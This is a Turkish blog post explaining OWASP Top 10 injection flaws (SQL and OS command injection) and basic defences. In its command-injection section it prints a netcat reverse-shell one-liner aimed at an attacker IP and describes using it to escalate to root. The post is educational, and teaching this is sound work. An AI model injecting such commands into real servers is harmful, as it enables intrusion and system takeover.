OWASP Top 10: Injection

Bu yazımda sizlere OWASP Top 10 listesinin 1. sırasında bulunan “Injection” saldırıları hakkında bilgi vermeye çalışacağım.

Injection Nedir?

Günümüzde çoğu web uygulamalarında injection kusurları bulunmaktadır. Bu kusurlar, kullanıcı tarafından girilen input(girdi) değerlerinin web uygulaması tarafından sistem komutu veya sistem parametresi olarak yorumlanması nedeniyle ortaya çıkar. Injection saldırıları, kullanılan web teknolojisine(PHP, HTML vb) veya sistem tarafından kullanılan teknolojilerin(SQL server, Linux veya Windows işletim sistemi) kullanıcıdan alınan input(girdi) değerini nasıl yorumlandığına(compile etmesi) bağlıdır. Bazı yaygın örnekler şunları içerir:

  • SQL Injection: Kullanıcıların input(girdi) değerlerinde SQL sorguları kullanıldığında oluşabilir. Sonuç olarak, bir saldırgan bazı SQL sorguları ile sistemi manipüle edebilir ve sorguların sonucunu değiştirmek için input(girdi) değerlerinde SQL sorgularını sisteme enjekte edebilir.
  • Command Injection: Kullanıcının input(girdi) değerinde sistemde kullanılan sistem komutları yazılırsa meydana gelebilir. Eğer sistemde bir açık var ise saldırgan, uygulamanın sunucu kısmında rastgele sistem komutları çalıştırabilir.

Saldırgan, istediği şekilde input(girdi) değerinde bir SQL injection veya Command Injection yapabilir ve sistem tarafında bunu çalıştırabilirse aşağıdakileri yapabilir:

  • Bu input(girdi) değeri veri tabanı sorgularına aktarıldığında veri tabanındaki bilgilere erişim sağlayabilir, verileri değiştirebilir veya verileri silebilir. Verilere erişim sağlarsa kişisel bilgiler ve kimlik bilgileri gibi hassas verileri çalabileceği anlamına gelir.
  • Bir saldırgan, sunucu tarafında rastgele sistem komutları çalıştırabilirse; bu komutlar sayesinde hassas verileri çalabilir ve sunucu tarafında daha fazla saldırı yapmak için yetkisini yükseltebilir.

Injection saldırılarını önlemek için alınabilecek en temel önlem, kullanıcının input(girdi) değerlerinin sistem tarafından kontrol edilmesi ve içerinde bulunan SQL sorgularının veya sistem komutlarının sunucu tarafından yorumlanmamasını(compile edilmemesini) sağlamaktır. Bunu yapmanın farklı yolları vardır:

  • “Allow list” kullanma: Sunucuya input(girdi) gönderildiğinde, bu input değeri güvenli input veya karakterler listesiyle karşılaştırılır. Input(girdi) güvenli olarak belirlenirse, sistem tarafından işleme alınabilir. Aksi takdirde input(girdi) reddedilir ve uygulama tarafından bir hata oluşturulur.
  • Input(girdi) kontrolü: Giriş tehlikeli karakterler içeriyorsa, bu karakterler işlenmeden önce kaldırılır.

OS Command Injection

Command Injection, bir web uygulamasındaki server tarafında kullanılan kodun (PHP gibi), sunucuda bulunan sisteme(Linux, Apache vb) bir sistem çağrısı yaptığında gerçekleşir. Saldırganın sunucuda işletim sistemi komutlarını yürütmesini sağlayan bir web güvenlik açığıdır. Sistem tarafında çalıştırılan her kod zararlı olacak diye bir şey diyemeyiz. Mesela “whoami” komutunu sistem tarafında çalıştırabildiğinizde çok bir şey elde etmezsiniz.

Command Injection ile ilgili önemli olan şey, saldırgan için birçok seçenek açmasıdır. Yapabilecekleri en kötü şey, web sunucusunun çalıştığı kullanıcı olmak için bir reverse shell alabilmektir. Bunun için basit “netcat” komutları yeterlidir. Size reverse shell verebilecek basit bir netcat örneği aşağıdaki gibidir.

nc -e /bin/sh <IP adresini> <kullanılmayan bir port numarası>

örnek:
nc -e /bin/sh 10.0.0.1 1234

Yukarıdaki netcat komutunu web sunucusundan comman injection olarak enjekte edebilirseniz sunucuda çalışan kullanıcının sistem haklarına sahip kendi bilgisayarınızda shell alabilirsiniz. Daha sonra “root” kullanıcı olmaya çalışarak sistemi ele geçirebilirsiniz.


Buraya kadar olan kısımda sizlere OWASP Top 10 listesinin 1. sırasında olan “Injection” hakkında bilgi vermeye çalıştım. Bir sonraki yazımda size OWASP Top 10 listesinin 2. sırası hakkında bilgi vermeye çalışacağım.

Bir sonraki yazımda görüşmek üzere…

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Google fotoğrafı

Google hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Connecting to %s

WordPress.com'da Blog Oluşturun.

Yukarı ↑

%d blogcu bunu beğendi: